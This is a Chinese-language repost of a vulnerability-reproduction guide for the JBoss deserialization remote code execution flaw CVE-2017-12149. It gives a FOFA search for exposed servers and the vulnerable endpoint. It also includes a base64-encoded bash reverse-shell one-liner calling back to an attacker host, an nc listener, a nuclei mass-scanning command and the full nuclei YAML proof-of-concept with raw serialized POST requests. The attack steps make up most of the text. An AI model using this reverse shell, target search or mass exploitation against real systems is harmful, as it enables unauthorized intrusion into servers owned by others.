本文转载于公众号:融云攻防实验室,原文地址:
漏洞复现-CVE-2017-12149 JBoss反序列化远程代码执行
0x01 阅读须知
资源来源于网络,安全小天地只是再次进行分享,使用请遵循本站的免责申明
0x02 漏洞描述
JBoss是一个基于J2EE的开放源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB1.1、EJB2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。JBoss反序列化漏洞,该漏洞位于JBoss的HttpInvoker组件中的ReadOnlyAccessFilter过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致恶意访问者通过精心设计的序列化数据执行任意代码。
0x03 漏洞复现
漏洞影响:JbossAS 5.x JbossAS 6.x
FOFA:app=”jboss”
1.访问存在漏洞页面,由图中反序列化方法可知,此处服务器将用户提交的POST内容进行了Java反序列化。
http://x.x.x.x:8080/invoker/readonly
2.使用CVE-2017-12149 Jboss反序列化工具,反弹shell(注:需要改为base64编码解码的反弹shell脚本)
编码地址:
https://ir0ny.top/pentest/reverse-encoder-shell.html
反弹shell脚本:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xIuMTxLjEuxkvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}
3. nc监听得到一个shell
nc -lnvp 7777
4.使用nuclei批量验证1.txt文件中的url是否存在该漏洞,显示存在漏洞。(nuclei稳定快,编写poc简单,有社区维护,推荐使用)
nuclei下载地址:https://github.com/projectdiscovery/nuclei
批量验证命令:
nuclei -list 1.txt -t cves/2017/CVE-2017-12149.yaml
yaml POC:
id: CVE-2017-12149
info:
name: Java/Jboss Deserialization [RCE]
author: fopina
severity: critical
description: In Jboss Application Server as shipped with Red Hat Enterprise Application Platform 5.2, it was found that the doFilter method in the ReadOnlyAccessFilter of the HTTP Invoker does not restrict classes for which it performs deserialization and thus allowing an attacker to execute arbitrary code via crafted serialized data.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2017-12149
- https://chowdera.com/2020/12/20201229190934023w.html
- https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-12149
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2017-12149
cwe-id: CWE-502
tags: cve,cve2017,jboss,java,rce,deserialization
requests:
- raw:
- |
POST /invoker/JMXInvokerServlet/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/octet-stream
{{ base64_decode(\"rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACdAAJZWxlbWVudCAxdAAJZWxlbWVudCAyeA==\") }}
- |
POST /invoker/EJBInvokerServlet/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/octet-stream
{{ base64_decode(\"rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACdAAJZWxlbWVudCAxdAAJZWxlbWVudCAyeA==\") }}
matchers-condition: and
matchers:
- type: word
words:
- \"ClassCastException\"
part: body
- type: word
words:
- \"application/x-java-serialized-object\"
part: header
THE END
暂无评论内容